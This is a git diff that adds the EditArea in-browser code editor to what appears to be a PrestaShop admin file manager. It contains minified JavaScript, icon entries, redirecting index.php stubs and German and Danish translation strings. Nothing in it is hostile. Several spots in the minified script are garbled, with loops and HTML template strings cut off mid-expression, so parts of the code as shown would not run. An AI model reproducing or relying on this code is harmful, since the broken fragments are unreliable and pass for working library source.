scrollTop=frame.document.getElementById("result").scrollTop;var scrollLeft=frame.document.getElementById("result").scrollLeft;document.getElementById("frame_"+id).style.display='none';eAs[id]["textarea"].style.display="inline";eAs[id]["textarea"].focus();if(this.nav['isIE']){eAs[id]["textarea"].selectionStart=selStart;eAs[id]["textarea"].selectionEnd=selEnd;eAs[id]["textarea"].focused=true;set_IE_selection(eAs[id]["textarea"]);} +else{if(this.nav['isOpera']){eAs[id]["textarea"].setSelectionRange(0, 0);}try{eAs[id]["textarea"].setSelectionRange(selStart, selEnd);}catch(e){};}eAs[id]["textarea"].scrollTop=scrollTop;eAs[id]["textarea"].scrollLeft=scrollLeft;frame.editArea.execCommand("toggle_off");}};EAL.prototype.toggle_on=function(id){if(window.frames["frame_"+id]){var frame=window.frames["frame_"+id];area=window.frames["frame_"+id].editArea;area.textarea.value=eAs[id]["textarea"].value;var selStart=0;var selEnd=0;var scrollTop=0;var scrollLeft=0;if(eAs[id]["textarea"].use_last==true){var selStart=eAs[id]["textarea"].last_selectionStart;var selEnd=eAs[id]["textarea"].last_selectionEnd;var scrollTop=eAs[id]["textarea"].last_scrollTop;var scrollLeft=eAs[id]["textarea"].last_scrollLeft;eAs[id]["textarea"].use_last=false;} +else{try{var selStart=eAs[id]["textarea"].selectionStart;var selEnd=eAs[id]["textarea"].selectionEnd;var scrollTop=eAs[id]["textarea"].scrollTop;var scrollLeft=eAs[id]["textarea"].scrollLeft;}catch(ex){}}this.set_editarea_size_from_textarea(id, document.getElementById("frame_"+id));eAs[id]["textarea"].style.display="none";document.getElementById("frame_"+id).style.display="inline";area.execCommand("focus");eAs[id]["displayed"]=true;area.execCommand("update_size");window.frames["frame_"+id].document.getElementById("result").scrollTop=scrollTop;window.frames["frame_"+id].document.getElementById("result").scrollLeft=scrollLeft;area.area_select(selStart, selEnd-selStart);area.execCommand("toggle_on");} +else{var elem=document.getElementById(id);elem.last_selectionStart=elem.selectionStart;elem.last_selectionEnd=elem.selectionEnd;elem.last_scrollTop=elem.scrollTop;elem.last_scrollLeft=elem.scrollLeft;elem.use_last=true;eAL.start(id);}};EAL.prototype.set_editarea_size_from_textarea=function(id, frame){var elem=document.getElementById(id);var width=Math.max(eAs[id]["settings"]["min_width"], elem.offsetWidth)+"px";var height=Math.max(eAs[id]["settings"]["min_height"], elem.offsetHeight)+"px";if(elem.style.width.indexOf("%")!=-1) width=elem.style.width;if(elem.style.height.indexOf("%")!=-1) height=elem.style.height;frame.style.width=width;frame.style.height=height;};EAL.prototype.set_base_url=function(){if (!this.baseURL){var elements=document.getElementsByTagName('script');for (var i=0;i';html+='';return html;};EAL.prototype.get_control_html=function(button_name, lang){for (var i=0;i";case "|": case "separator": return '';case "select_font": html="";return html;}return "["+button_name+"]";};EAL.prototype.get_template=function(){if(this.template==""){var xhr_object=null;if(window.XMLHttpRequest) xhr_object=new XMLHttpRequest(); +else if(window.ActiveXObject) xhr_object=new ActiveXObject("Microsoft.XMLHTTP"); +else{alert("XMLHTTPRequest not supported. EditArea not loaded");return;}xhr_object.open("GET", this.baseURL+"template.html", false);xhr_object.send(null);if(xhr_object.readyState==4) this.template=xhr_object.responseText; +else this.has_error();}};EAL.prototype.translate=function(text, lang, mode){if(mode=="word") text=eAL.get_word_translation(text, lang); +else if(mode="template"){eAL.current_language=lang;text=text.replace(/\{\$([^\}]+)\}/gm, eAL.translate_template);}return text;};EAL.prototype.translate_template=function(){return eAL.get_word_translation(EAL.prototype.translate_template.arguments[1], eAL.current_language);};EAL.prototype.get_word_translation=function(val, lang){for(var i in eAL.lang[lang]){if(i==val) return eAL.lang[lang][i];}return "_"+val;};EAL.prototype.load_script=function(url){if (this.loadedFiles[url]) return;try{var script=document.createElement("script");script.type="text/javascript";script.src=url;var head=document.getElementsByTagName("head");head[0].appendChild(script);}catch(e){document.write('');}this.loadedFiles[url]=true;};EAL.prototype.add_event=function(obj, name, handler){if (obj.attachEvent){obj.attachEvent("on" + name, handler);} +else{obj.addEventListener(name, handler, false);}};EAL.prototype.remove_event=function(obj, name, handler){if (obj.detachEvent) obj.detachEvent("on" + name, handler); +else obj.removeEventListener(name, handler, false);};EAL.prototype.reset=function(e){var formObj=eAL.nav['isIE'] ? window.event.srcElement : e.target;for(var i in eAs){var is_child=false;for (var x=0;x old_sel["start"]) this.setSelectionRange(id, new_sel["end"], new_sel["end"]); +else this.setSelectionRange(id, old_sel["start"]+open_tag.length, old_sel["start"]+open_tag.length);};EAL.prototype.hide=function(id){if(document.getElementById(id) && !this.hidden[id]){this.hidden[id]=new Object();this.hidden[id]["selectionRange"]=this.getSelectionRange(id);if(document.getElementById(id).style.display!="none"){this.hidden[id]["scrollTop"]=document.getElementById(id).scrollTop;this.hidden[id]["scrollLeft"]=document.getElementById(id).scrollLeft;}if(window.frames["frame_"+id]){this.hidden[id]["toggle"]=eAs[id]["displayed"];if(window.frames["frame_"+id] && eAs[id]["displayed"]==true){var scrollTop=window.frames["frame_"+ id].document.getElementById("result").scrollTop;var scrollLeft=window.frames["frame_"+ id].document.getElementById("result").scrollLeft;} +else{var scrollTop=document.getElementById(id).scrollTop;var scrollLeft=document.getElementById(id).scrollLeft;}this.hidden[id]["scrollTop"]=scrollTop;this.hidden[id]["scrollLeft"]=scrollLeft;if(eAs[id]["displayed"]==true) eAL.toggle_off(id);}var span=document.getElementById("EditAreaArroundInfos_"+id);if(span){span.style.display='none';}document.getElementById(id).style.display="none";}};EAL.prototype.show=function(id){if((elem=document.getElementById(id)) && this.hidden[id]){elem.style.display="inline";elem.scrollTop=this.hidden[id]["scrollTop"];elem.scrollLeft=this.hidden[id]["scrollLeft"];var span=document.getElementById("EditAreaArroundInfos_"+id);if(span){span.style.display='inline';}if(window.frames["frame_"+id]){elem.style.display="inline";if(this.hidden[id]["toggle"]==true) eAL.toggle_on(id);scrollTop=this.hidden[id]["scrollTop"];scrollLeft=this.hidden[id]["scrollLeft"];if(window.frames["frame_"+id] && eAs[id]["displayed"]==true){window.frames["frame_"+ id].document.getElementById("result").scrollTop=scrollTop;window.frames["frame_"+ id].document.getElementById("result").scrollLeft=scrollLeft;} +else{elem.scrollTop=scrollTop;elem.scrollLeft=scrollLeft;}}sel=this.hidden[id]["selectionRange"];this.setSelectionRange(id, sel["start"], sel["end"]);delete this.hidden[id];}};EAL.prototype.execCommand=function(id, cmd){switch(cmd){case "EA_init": if(eAs[id]['settings']["EA_init_callback"].length>0) eval(eAs[id]['settings']["EA_init_callback"]+"('"+ id +"');");break;case "EA_delete": if(eAs[id]['settings']["EA_delete_callback"].length>0) eval(eAs[id]['settings']["EA_delete_callback"]+"('"+ id +"');");break;case "EA_submit": if(eAs[id]['settings']["submit_callback"].length>0) eval(eAs[id]['settings']["submit_callback"]+"('"+ id +"');");break;}if(window.frames["frame_"+id]){return eval('window.frames["frame_'+ id +'"].editArea.'+ cmd +';');}return false;};var eAL=new EAL();var eAs=new Object();function getAttribute( elm, aname ){try{var avalue=elm.getAttribute( aname );}catch(exept){}if ( ! avalue ){for ( var i=0;i < elm.attributes.length;i ++ ){var taName=elm.attributes [i] .name.toLowerCase();if ( taName==aname ){avalue=elm.attributes [i] .value;return avalue;}}}return avalue;};function setAttribute( elm, attr, val ){if(attr=="class"){elm.setAttribute("className", val);elm.setAttribute("class", val);} +else{elm.setAttribute(attr, val);}};function getChildren(elem, elem_type, elem_attribute, elem_attribute_match, option, depth){if(!option) var option="single";if(!depth) var depth=-1;if(elem){var children=elem.childNodes;var result=null;var results=new Array();for (var x=0;x0){results=results.concat(result);}} +else if(result!=null){return result;}}}}if(option=="all") return results;}return null;};function isChildOf(elem, parent){if(elem){if(elem==parent) return true;while(elem.parentNode !='undefined'){return isChildOf(elem.parentNode, parent);}}return false;};function getMouseX(e){if(e!=null && typeof(e.pageX)!="undefined"){return e.pageX;} +else{return (e!=null?e.x:event.x)+ document.documentElement.scrollLeft;}};function getMouseY(e){if(e!=null && typeof(e.pageY)!="undefined"){return e.pageY;} +else{return (e!=null?e.y:event.y)+ document.documentElement.scrollTop;}};function calculeOffsetLeft(r){return calculeOffset(r,"offsetLeft") };function calculeOffsetTop(r){return calculeOffset(r,"offsetTop") };function calculeOffset(element,attr){var offset=0;while(element){offset+=element[attr];element=element.offsetParent}return offset;};function get_css_property(elem, prop){if(document.defaultView){return document.defaultView.getComputedStyle(elem, null).getPropertyValue(prop);} +else if(elem.currentStyle){var prop=prop.replace(/-\D/gi, function(sMatch){return sMatch.charAt(sMatch.length - 1).toUpperCase();});return elem.currentStyle[prop];} +else return null;}var move_current_element;function start_move_element(e, id, frame){var elem_id=(e.target || e.srcElement).id;if(id) elem_id=id;if(!frame) frame=window;if(frame.event) e=frame.event;move_current_element=frame.document.getElementById(elem_id);move_current_element.frame=frame;frame.document.onmousemove=move_element;frame.document.onmouseup=end_move_element;mouse_x=getMouseX(e);mouse_y=getMouseY(e);move_current_element.start_pos_x=mouse_x - (move_current_element.style.left.replace("px","") || calculeOffsetLeft(move_current_element));move_current_element.start_pos_y=mouse_y - (move_current_element.style.top.replace("px","") || calculeOffsetTop(move_current_element));return false;};function end_move_element(e){move_current_element.frame.document.onmousemove="";move_current_element.frame.document.onmouseup="";move_current_element=null;};function move_element(e){if(move_current_element.frame && move_current_element.frame.event) e=move_current_element.frame.event;var mouse_x=getMouseX(e);var mouse_y=getMouseY(e);var new_top=mouse_y - move_current_element.start_pos_y;var new_left=mouse_x - move_current_element.start_pos_x;var max_left=move_current_element.frame.document.body.offsetWidth- move_current_element.offsetWidth;max_top=move_current_element.frame.document.body.offsetHeight- move_current_element.offsetHeight;new_top=Math.min(Math.max(0, new_top), max_top);new_left=Math.min(Math.max(0, new_left), max_left);move_current_element.style.top=new_top+"px";move_current_element.style.left=new_left+"px";return false;};var nav=eAL.nav;function getSelectionRange(textarea){return {"start": textarea.selectionStart, "end": textarea.selectionEnd};};function setSelectionRange(textarea, start, end){textarea.focus();start=Math.max(0, Math.min(textarea.value.length, start));end=Math.max(start, Math.min(textarea.value.length, end));if(nav['isOpera']){textarea.selectionEnd=1;textarea.selectionStart=0;textarea.selectionEnd=1;textarea.selectionStart=0;}textarea.selectionStart=start;textarea.selectionEnd=end;if(nav['isIE']) set_IE_selection(textarea);};function get_IE_selection(textarea){if(textarea && textarea.focused){if(!textarea.ea_line_height){var div=document.createElement("div");div.style.fontFamily=get_css_property(textarea, "font-family");div.style.fontSize=get_css_property(textarea, "font-size");div.style.visibility="hidden";div.innerHTML="0";document.body.appendChild(div);textarea.ea_line_height=div.offsetHeight;document.body.removeChild(div);}var range=document.selection.createRange();var stored_range=range.duplicate();stored_range.moveToElementText( textarea );stored_range.setEndPoint( 'EndToEnd', range );if(stored_range.parentElement()==textarea){var elem=textarea;var scrollTop=0;while(elem.parentNode){scrollTop+=elem.scrollTop;elem=elem.parentNode;}var relative_top=range.offsetTop - calculeOffsetTop(textarea)+ scrollTop;var line_start=Math.round((relative_top / textarea.ea_line_height) +1);var line_nb=Math.round(range.boundingHeight / textarea.ea_line_height);var range_start=stored_range.text.length - range.text.length;var tab=textarea.value.substr(0, range_start).split("\n");range_start+=(line_start - tab.length)*2;textarea.selectionStart=range_start;var range_end=textarea.selectionStart + range.text.length;tab=textarea.value.substr(0, range_start + range.text.length).split("\n");range_end+=(line_start + line_nb - 1 - tab.length)*2;textarea.selectionEnd=range_end;}}setTimeout("get_IE_selection(document.getElementById('"+ textarea.id +"'));", 50);};function IE_textarea_focus(){event.srcElement.focused=true;}function IE_textarea_blur(){event.srcElement.focused=false;}function set_IE_selection(textarea){var nbLineStart=textarea.value.substr(0, textarea.selectionStart).split("\n").length - 1;var nbLineEnd=textarea.value.substr(0, textarea.selectionEnd).split("\n").length - 1;var range=document.selection.createRange();range.moveToElementText( textarea );range.setEndPoint( 'EndToStart', range );range.moveStart('character', textarea.selectionStart - nbLineStart);range.moveEnd('character', textarea.selectionEnd - nbLineEnd - (textarea.selectionStart - nbLineStart) );range.select();};eAL.waiting_loading["elements_functions.js"]="loaded";EAL.prototype.start_resize_area=function(){document.onmouseup=eAL.end_resize_area;document.onmousemove=eAL.resize_area;eAL.toggle(eAL.resize["id"]);var textarea=eAs[eAL.resize["id"]]["textarea"];var div=document.getElementById("edit_area_resize");if(!div){div=document.createElement("div");div.id="edit_area_resize";div.style.border="dashed #888888 1px";}var width=textarea.offsetWidth -2;var height=textarea.offsetHeight -2;div.style.display="block";div.style.width=width+"px";div.style.height=height+"px";var father=textarea.parentNode;father.insertBefore(div, textarea);textarea.style.display="none";eAL.resize["start_top"]=calculeOffsetTop(div);eAL.resize["start_left"]=calculeOffsetLeft(div);};EAL.prototype.end_resize_area=function(e){document.onmouseup="";document.onmousemove="";var div=document.getElementById("edit_area_resize");var textarea=eAs[eAL.resize["id"]]["textarea"];var width=Math.max(eAs[eAL.resize["id"]]["settings"]["min_width"], div.offsetWidth-4);var height=Math.max(eAs[eAL.resize["id"]]["settings"]["min_height"], div.offsetHeight-4);if(eAL.nav['isIE']==6){width-=2;height-=2;}textarea.style.width=width+"px";textarea.style.height=height+"px";div.style.display="none";textarea.style.display="inline";textarea.selectionStart=eAL.resize["selectionStart"];textarea.selectionEnd=eAL.resize["selectionEnd"];eAL.toggle(eAL.resize["id"]);return false;};EAL.prototype.resize_area=function(e){var allow=eAs[eAL.resize["id"]]["settings"]["allow_resize"];if(allow=="both" || allow=="y"){new_y=getMouseY(e);var new_height=Math.max(20, new_y- eAL.resize["start_top"]);document.getElementById("edit_area_resize").style.height=new_height+"px";}if(allow=="both" || allow=="x"){new_x=getMouseX(e);var new_width=Math.max(20, new_x- eAL.resize["start_left"]);document.getElementById("edit_area_resize").style.width=new_width+"px";}return false;};eAL.waiting_loading["resize_area.js"]="loaded";EAL.prototype.get_regexp=function(text_array){res="(\\b)(";for(i=0;i0) res+="|";res+=this.get_escaped_regexp(text_array[i]);}res+=")(\\b)";reg=new RegExp(res);return res;};EAL.prototype.get_escaped_regexp=function(str){return str.replace(/(\.|\?|\*|\+|\\|\(|\)|\[|\]|\}|\{|\$|\^|\|)/g, "\\$1");};EAL.prototype.init_syntax_regexp=function(){var lang_style=new Object();for(var lang in this.load_syntax){if(!this.syntax[lang]){this.syntax[lang]=new Object();this.syntax[lang]["keywords_reg_exp"]=new Object();this.keywords_reg_exp_nb=0;if(this.load_syntax[lang]['KEYWORDS']){param="g";if(this.load_syntax[lang]['KEYWORD_CASE_SENSITIVE']===false) param+="i";for(var i in this.load_syntax[lang]['KEYWORDS']){if(typeof(this.load_syntax[lang]['KEYWORDS'][i])=="function") continue;this.syntax[lang]["keywords_reg_exp"][i]=new RegExp(this.get_regexp( this.load_syntax[lang]['KEYWORDS'][i] ), param);this.keywords_reg_exp_nb++;}}if(this.load_syntax[lang]['OPERATORS']){var str="";var nb=0;for(var i in this.load_syntax[lang]['OPERATORS']){if(typeof(this.load_syntax[lang]['OPERATORS'][i])=="function") continue;if(nb>0) str+="|";str+=this.get_escaped_regexp(this.load_syntax[lang]['OPERATORS'][i]);nb++;}if(str.length>0) this.syntax[lang]["operators_reg_exp"]=new RegExp("("+str+")","g");}if(this.load_syntax[lang]['DELIMITERS']){var str="";var nb=0;for(var i in this.load_syntax[lang]['DELIMITERS']){if(typeof(this.load_syntax[lang]['DELIMITERS'][i])=="function") continue;if(nb>0) str+="|";str+=this.get_escaped_regexp(this.load_syntax[lang]['DELIMITERS'][i]);nb++;}if(str.length>0) this.syntax[lang]["delimiters_reg_exp"]=new RegExp("("+str+")","g");}var syntax_trace=new Array();this.syntax[lang]["quotes"]=new Object();var quote_tab=new Array();if(this.load_syntax[lang]['QUOTEMARKS']){for(var i in this.load_syntax[lang]['QUOTEMARKS']){if(typeof(this.load_syntax[lang]['QUOTEMARKS'][i])=="function") continue;var x=this.get_escaped_regexp(this.load_syntax[lang]['QUOTEMARKS'][i]);this.syntax[lang]["quotes"][x]=x;quote_tab[quote_tab.length]="("+x+"(?:[^"+x+"\\\\]*(\\\\\\\\)*(\\\\"+x+"?)?)*("+x+"|$))";syntax_trace.push(x);}}this.syntax[lang]["comments"]=new Object();if(this.load_syntax[lang]['COMMENT_SINGLE']){for(var i in this.load_syntax[lang]['COMMENT_SINGLE']){if(typeof(this.load_syntax[lang]['COMMENT_SINGLE'][i])=="function") continue;var x=this.get_escaped_regexp(this.load_syntax[lang]['COMMENT_SINGLE'][i]);quote_tab[quote_tab.length]="("+x+"(.|\\r|\\t)*(\\n|$))";syntax_trace.push(x);this.syntax[lang]["comments"][x]="\n";}}if(this.load_syntax[lang]['COMMENT_MULTI']){for(var i in this.load_syntax[lang]['COMMENT_MULTI']){if(typeof(this.load_syntax[lang]['COMMENT_MULTI'][i])=="function") continue;var start=this.get_escaped_regexp(i);var end=this.get_escaped_regexp(this.load_syntax[lang]['COMMENT_MULTI'][i]);quote_tab[quote_tab.length]="("+start+"(.|\\n|\\r)*?("+end+"|$))";syntax_trace.push(start);syntax_trace.push(end);this.syntax[lang]["comments"][i]=this.load_syntax[lang]['COMMENT_MULTI'][i];}}if(quote_tab.length>0) this.syntax[lang]["comment_or_quote_reg_exp"]=new RegExp("("+quote_tab.join("|")+")","gi");if(syntax_trace.length>0) this.syntax[lang]["syntax_trace_regexp"]=new RegExp("((.|\n)*?)(\\\\*("+ syntax_trace.join("|") +"|$))", "gmi");if(this.load_syntax[lang]['SCRIPT_DELIMITERS']){this.syntax[lang]["script_delimiters"]=new Object();for(var i in this.load_syntax[lang]['SCRIPT_DELIMITERS']){if(typeof(this.load_syntax[lang]['SCRIPT_DELIMITERS'][i])=="function") continue;this.syntax[lang]["script_delimiters"][i]=this.load_syntax[lang]['SCRIPT_DELIMITERS'];}}this.syntax[lang]["custom_regexp"]=new Object();if(this.load_syntax[lang]['REGEXPS']){for(var i in this.load_syntax[lang]['REGEXPS']){if(typeof(this.load_syntax[lang]['REGEXPS'][i])=="function") continue;var val=this.load_syntax[lang]['REGEXPS'][i];if(!this.syntax[lang]["custom_regexp"][val['execute']]) this.syntax[lang]["custom_regexp"][val['execute']]=new Object();this.syntax[lang]["custom_regexp"][val['execute']][i]={'regexp' : new RegExp(val['search'], val['modifiers']) , 'class' : val['class']};}}if(this.load_syntax[lang]['STYLES']){lang_style[lang]=new Object();for(var i in this.load_syntax[lang]['STYLES']){if(typeof(this.load_syntax[lang]['STYLES'][i])=="function") continue;if(typeof(this.load_syntax[lang]['STYLES'][i]) !="string"){for(var j in this.load_syntax[lang]['STYLES'][i]){lang_style[lang][j]=this.load_syntax[lang]['STYLES'][i][j];}} +else{lang_style[lang][i]=this.load_syntax[lang]['STYLES'][i];}}}var style="";for(var i in lang_style[lang]){if(lang_style[lang][i].length>0){style+="."+ lang +" ."+ i.toLowerCase() +" span{"+lang_style[lang][i]+"}\n";style+="."+ lang +" ."+ i.toLowerCase() +"{"+lang_style[lang][i]+"}\n";}}this.syntax[lang]["styles"]=style;}}};eAL.waiting_loading["reg_syntax.js"]="loaded"; +var editAreaLoader= eAL;var editAreas=eAs;EditAreaLoader=EAL;editAreaLoader.iframe_script= ""; +editAreaLoader.template= " EditArea [__CSSRULES__] [__JSCODE__]
[__TOOLBAR__]
 
 
{$position}: {$line_abbr} 0, {$char_abbr} 0 {$total}: {$line_abbr} 0, {$char_abbr} 0 resize
{$processing}
{$search} {$close_popup}
{$replace} {$move_popup}

{$find_next} {$replace} {$replace_all}
{$close_popup}

Editarea [__EA_VERSION__]


{$shortcuts}:

{$tab}: {$add_tab}
{$shift}+{$tab}: {$remove_tab}
{$ctrl}+f: {$search_command}
{$ctrl}+r: {$replace_command}
{$ctrl}+h: {$highlight}
{$ctrl}+g: {$go_to_line}
{$ctrl}+z: {$undo}
{$ctrl}+y: {$redo}
{$ctrl}+e: {$help}
{$ctrl}+q, {$esc}: {$close_popup}
{$accesskey} E: {$toggle}

{$about_notice}
"; +editAreaLoader.iframe_css= ""; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/close.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/close.gif new file mode 100755 index 0000000..679ca2a Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/close.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/fullscreen.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/fullscreen.gif new file mode 100755 index 0000000..66fa6d9 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/fullscreen.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/go_to_line.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/go_to_line.gif new file mode 100755 index 0000000..06042ec Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/go_to_line.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/help.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/help.gif new file mode 100755 index 0000000..51a1ee4 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/help.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/highlight.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/highlight.gif new file mode 100755 index 0000000..16491f6 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/highlight.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/index.php b/BO/ajaxfilemanager/jscripts/edit_area/images/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/images/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/load.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/load.gif new file mode 100755 index 0000000..461698f Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/load.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/move.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/move.gif new file mode 100755 index 0000000..d15f9f5 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/move.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/newdocument.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/newdocument.gif new file mode 100755 index 0000000..a9d2938 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/newdocument.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/opacity.png b/BO/ajaxfilemanager/jscripts/edit_area/images/opacity.png new file mode 100755 index 0000000..b4217cb Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/opacity.png differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/processing.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/processing.gif new file mode 100755 index 0000000..cce32f2 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/processing.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/redo.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/redo.gif new file mode 100755 index 0000000..3af9069 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/redo.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/reset_highlight.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/reset_highlight.gif new file mode 100755 index 0000000..0fa3cb7 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/reset_highlight.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/save.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/save.gif new file mode 100755 index 0000000..2777beb Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/save.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/save_as.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/save_as.gif new file mode 100755 index 0000000..d8251b4 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/save_as.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/search.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/search.gif new file mode 100755 index 0000000..cfe76b5 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/search.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/smooth_selection.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/smooth_selection.gif new file mode 100755 index 0000000..8a532e5 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/smooth_selection.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/spacer.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/spacer.gif new file mode 100755 index 0000000..3884865 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/spacer.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/statusbar_resize.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/statusbar_resize.gif new file mode 100755 index 0000000..af89d80 Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/statusbar_resize.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/images/undo.gif b/BO/ajaxfilemanager/jscripts/edit_area/images/undo.gif new file mode 100755 index 0000000..520796d Binary files /dev/null and b/BO/ajaxfilemanager/jscripts/edit_area/images/undo.gif differ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/index.php b/BO/ajaxfilemanager/jscripts/edit_area/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/BO/ajaxfilemanager/jscripts/edit_area/langs/de.js b/BO/ajaxfilemanager/jscripts/edit_area/langs/de.js new file mode 100755 index 0000000..516fdd4 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/langs/de.js @@ -0,0 +1,45 @@ +editAreaLoader.lang["de"]={ +new_document: "neues leeres Dokument", +search_button: "suchen und ersetzen", +search_command: "suche nächsten / öffne Suchfeld", +search: "suche", +replace: "ersetze", +replace_command: "ersetze / öffne Suchfeld", +find_next: "finde nächsten", +replace_all: "ersetze alle Treffer", +reg_exp: "reguläre Ausdrücke", +match_case: "passt auf den Begriff
", +not_found: "Nicht gefunden.", +occurrence_replaced: "Die Vorkommen wurden ersetzt.", +search_field_empty: "leeres Suchfeld", +restart_search_at_begin: "Ende des zu durchsuchenden Bereiches erreicht. Es wird die Suche von Anfang an fortgesetzt.", //find a shorter translation +move_popup: "Suchfenster bewegen", +font_size: "--Schriftgröße--", +go_to_line: "gehe zu Zeile", +go_to_line_prompt: "gehe zu Zeilennummmer:", +undo: "rückgängig machen", +redo: "wiederherstellen", +change_smooth_selection: "aktiviere/deaktiviere einige Features (weniger Bildschirmnutzung aber mehr CPU-Belastung)", +highlight: "Syntax Highlighting an- und ausschalten", +reset_highlight: "Highlighting zurücksetzen (falls mit Text nicht konform)", +help: "über", +save: "sichern", +load: "öffnen", +line_abbr: "Ln", +char_abbr: "Ch", +position: "Position", +total: "Gesamt", +close_popup: "Popup schließen", +shortcuts: "Shortcuts", +add_tab: "Tab zum Text hinzufügen", +remove_tab: "Tab aus Text entfernen", +about_notice: "Bemerkung: Syntax Highlighting ist nur für kurze Texte", +toggle: "Editor an- und ausschalten", +accesskey: "Accesskey", +tab: "Tab", +shift: "Shift", +ctrl: "Ctrl", +esc: "Esc", +processing: "In Bearbeitung...", +fullscreen: "fullscreen" +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/langs/dk.js b/BO/ajaxfilemanager/jscripts/edit_area/langs/dk.js new file mode 100755 index 0000000..e82e2c9 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/langs/dk.js @@ -0,0 +1,45 @@ +editAreaLoader.lang["dk"]={ +new_document: "nyt tomt dokument", +search_button: "søg og erstat", +search_command: "find næste / åben søgefelt", +search: "søg", +replace: "erstat", +replace_command: "erstat / åben søgefelt", +find_next: "find næste", +replace_all: "erstat alle", +reg_exp: "regular expressions", +match_case: "forskel pÃ¥ store/små bogstaver
